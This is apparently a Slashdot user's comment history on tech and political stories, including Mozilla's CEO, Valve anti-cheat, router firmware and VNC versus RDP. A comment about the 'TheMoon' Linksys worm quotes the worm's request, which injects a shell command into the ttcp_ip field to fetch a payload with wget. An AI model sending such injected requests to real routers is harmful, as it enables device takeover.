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Comment: Re:I May Not Agree (Score 4, Insightful) 1116

by Lothsahn (#46699771) Attached to: Mozilla CEO Firestorm Likely Violated California Law
Cmon Grateful... Under what basis do you qualify Eich as a bigot?

"having or revealing an obstinate belief in the superiority of one's own opinions and a prejudiced intolerance of the opinions of others."

Eich's statement shows ultimate tolerance of the opinions of others. He promises to treat others as equal, continue to work with the LGBT community, continue the non-discrimination policy, equal health benefits, etc, etc. His tolerance is shown clearly: he doesn't agree with gay marriage, but commits to treating all of his employees as human beings. Others at Mozilla that worked with him were shocked to find out he contributed to Prop 8, because they had never seen him treat anyone with inequality. All of the facts, both from himself and others, have shown a full commitment to treat others with respect.

Eich's statement:
I ask for your ongoing help to make Mozilla a place of equality and welcome for all. Here are my commitments, and here’s what you can expect:

Active commitment to equality in everything we do, from employment to events to community-building.
Working with LGBT communities and allies, to listen and learn what does and doesn’t make Mozilla supportive and welcoming.
My ongoing commitment to our Community Participation Guidelines, our inclusive health benefits, our anti-discrimination policies, and the spirit that underlies all of these.

My personal commitment to work on new initiatives to reach out to those who feel excluded or who have been marginalized in ways that makes their contributing to Mozilla and to open source difficult. More on this last item below.

I know some will be skeptical about this, and that words alone will not change anything. I can only ask for your support to have the time to “show, not tell”; and in the meantime express my sorrow at having caused pain.[1]

“That was shocking to me, because I never saw any kind of behavior or attitude from him that was not in line with Mozilla’s values of inclusiveness,” (Mitchell Baker-Chairperson of Mozilla) [2]

This is not the statement of a bigot. Silencing, attacking, and treating his political views as invalid is bigoted.

Without a difference of opinion, you cannot have tolerance. A monoculture has no room for tolerance. Why the heck is disagreement these days automatically "bigotry" and why do people see love as "accepting all opinions that another holds"? Why would it be "shocking" that someone could treat others with respect, but disagree on a political issue?

[2] (note: this post appears to have been taken down on her blog, or archived, but it's still widely quoted on the internet)

Comment: Everything is watching you these days... (Score 5, Informative) 208

The craziest thing in the article that I saw was that Tesla contacted him to tell him he couldn't do that on his car, or it'd void his warranty. Not only is he not allowed to reverse engineer how his car works, they're apparently watching his car at all times.

It won't be long before people will know what we do, 24/7.

Comment: Re:I think this is bullshit (Score 1, Troll) 1746

by Lothsahn (#46657947) Attached to: Brendan Eich Steps Down As Mozilla CEO
Prop 8 support is not a "hate" group. The vast majority of individuals that supported it do not hate LGBTIQ individuals, and it's pretty clear from the various posts from those inside Mozilla (both for and against his resignation) that Eich doesn't either. They simply believe the government should not grant marriage licenses for non-heterosexual relationships.

Hate has a specific meaning: intense or passionate dislike. Recently, it appears that any opposition to one's views, if it removes a perceived or actual human right, is automatically hate. This seems especially true for this issue, and it's very wrong. Those groups which ARE hate groups (Westboro Baptist) should be labeled as such. Labeling all groups as hate groups destroys the meaning of the word and alienates any discussion between people on the topic.

Other examples:
You hate life because you are okay with murdering babies.
You hate me because you're invading my personal rights between me and my doctor.

Comment: Re:How common is cheating with VAC? (Score 2) 511

by Lothsahn (#46277225) Attached to: Gabe Newell Responds: Yes, We're Looking For Cheaters Via DNS
When I was in college, my friend had a roommate who played CS nearly all the time. His roommate actually failed out of college because all he did was CS.

While I think most of your points stand, I can say with 100% certainty that he acted like he could see through walls. He was so good that he routinely killed people (with headshots, even) through walls. Had I not seen his monitor with my own eyes, I would have known he was cheating. He was frequently accused of cheating. In fact, he could only play on his clan's server because he'd get banned nearly everywhere else. He'd routinely go 51/2 K/D in a match. Sometimes when we played with him, we would all have to reassure people that he wasn't cheating by vouching for him.

Just something to think about before anyone accuses a really elite play of hacking. What they can accomplish is rather insane.

Comment: Re:Still abusive (Score 1) 511

by Lothsahn (#46277133) Attached to: Gabe Newell Responds: Yes, We're Looking For Cheaters Via DNS
I think this was a bug. I too, experienced this behavior in the past, but on my recent travels, even when I've forgotten to put it in offline mode, I was able to play with it starting in offline mode.

While that bug was annoying, I believe it's been resolved, and you won't find this is a problem anymore. I haven't found it to be in the last 2 months.

Comment: Re:Default firmware only? (Score 4, Informative) 134

by Lothsahn (#46240953) Attached to: Linksys Routers Exploited By "TheMoon"
I'd love to hear a response from a tomato dev, but I'm almost sure it's not (and dd-wrt is probably not affected either). With my Tomato router, I get a 404 when I reference that URL.

The worm infects a router with the following URL: submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2 &ttcp_ip=-h `cd /tmp;if [ ! -e .L26 ];then wget http://source/ IP]:193/0Rx.mid;fi` &StartEPI=1

It appears to be that the action is executing (at a shell) a portion of the ttcp_ip parameter. It appears it's a bug in the router's web application code itself, and not some sort of kernel-level vulnerability.

Comment: Re:I was on that list too... (Score 4, Interesting) 239

by Lothsahn (#46233921) Attached to: Government Secrecy Spurs $4 Million Lawsuit Over Simple 'No Fly' List Error
Because the "redress list" is for people who have a name which matches a suspected or known terrorist on the "no fly" list. In other words, (s)he wasn't on the "no fly" list, but (s)he was unfortunate enough to have the same name as someone who is. Since the "no fly" list is keyed by names and not an actual unique identifier, you can be "on" the list even though you're not.

This is much different than Dr. Rahinah Ibrahim, who was actually on the no fly list. While other Rahinah Ibrahim's would have been able to (and possibly would need to) get a redress number, she would be unable to obtain one.

Comment: Re:Here's some options... (Score 1) 526

by Lothsahn (#46206217) Attached to: Customer: Dell Denies Speaker Repair Under Warranty, Blames VLC
Or how about just buy some replacement speakers and install them? They're $8 on ebay, and most people on Slashdot have the skills to do so. Hell, there's tons of youtube tutorials on how to fix your computer.

If you want to stick it to Dell (because they ARE responsible), then by all means, take them to small claims court. But instead of building a time machine, hiring a lawyer, or getting all angry, mad, and ruining your day (if you're not going to sue)... just pay the $8 and get replacement speakers on ebay, or use external desktop speakers.... and install the BIOS update that prevents the issue in the future.

Comment: Re: WRT54 sucked ass (Score 1) 310

by Lothsahn (#45881345) Attached to: Linksys Resurrects WRT54G In a New Router
I've had some problems with the stock firmware as well. However, if you load tomato from Toastman on it, it works great. Specifically, this file: tomato-WRT54G_WRT54GL-1.28.7634Toastman-IPT-ND-VPN.bin

Only supported on WRT54Gv3/v4 or WRT54GL routers. May work on a v2 and will likely brick a v1. v5-8 not supported on any linux distro.

I've been running it on a number of locations without a single lockup for months now.

Comment: Re:The network says no (Score 4, Interesting) 164

by Lothsahn (#45347489) Attached to: Gate One Will Support X11: Fast Enough To Run VLC In Your Browser
We talking VNC or RDP? Whether RDP can be significantly improved--I don't know. However, I also find it happens to work very well, even across large distances. There is some lag, but very manageable with US-based ISP's. If you have a low latency, high bandwidth network, thin clients work just like a local desktop to any normal human being for word and web-browsing.

VNC, on the other hand, does not work this way. Despite having very low latency and high bandwidth, my VNC connection from just inside my house is terrible. There's significant lag and other problems. Across wide network links? It's horribly painful to use.

I'm not sure if you were describing the state of RDP or VNC, but given the article is about VNC, there's a tremendous amount of improvement that is possible in that protocol. RDP demonstrates this. We should realize this and make VNC closer (or better) than RDP.

Comment: Re: What can they learn? (Score 1) 267

by Lothsahn (#45092701) Attached to: What Developers Can Learn From
Wait, according to wikipedia[1]:
"the bill would ban abortions after 20 weeks of pregnancy, require abortion clinics to meet the same standards that hospital-style surgical centers do, and mandate that a doctor who performs abortions have admitting privileges at a nearby hospital"

This is a right wing agenda bill? These seem like VERY reasonable medical protections for women, and a fetus' viability starts around 23 weeks...


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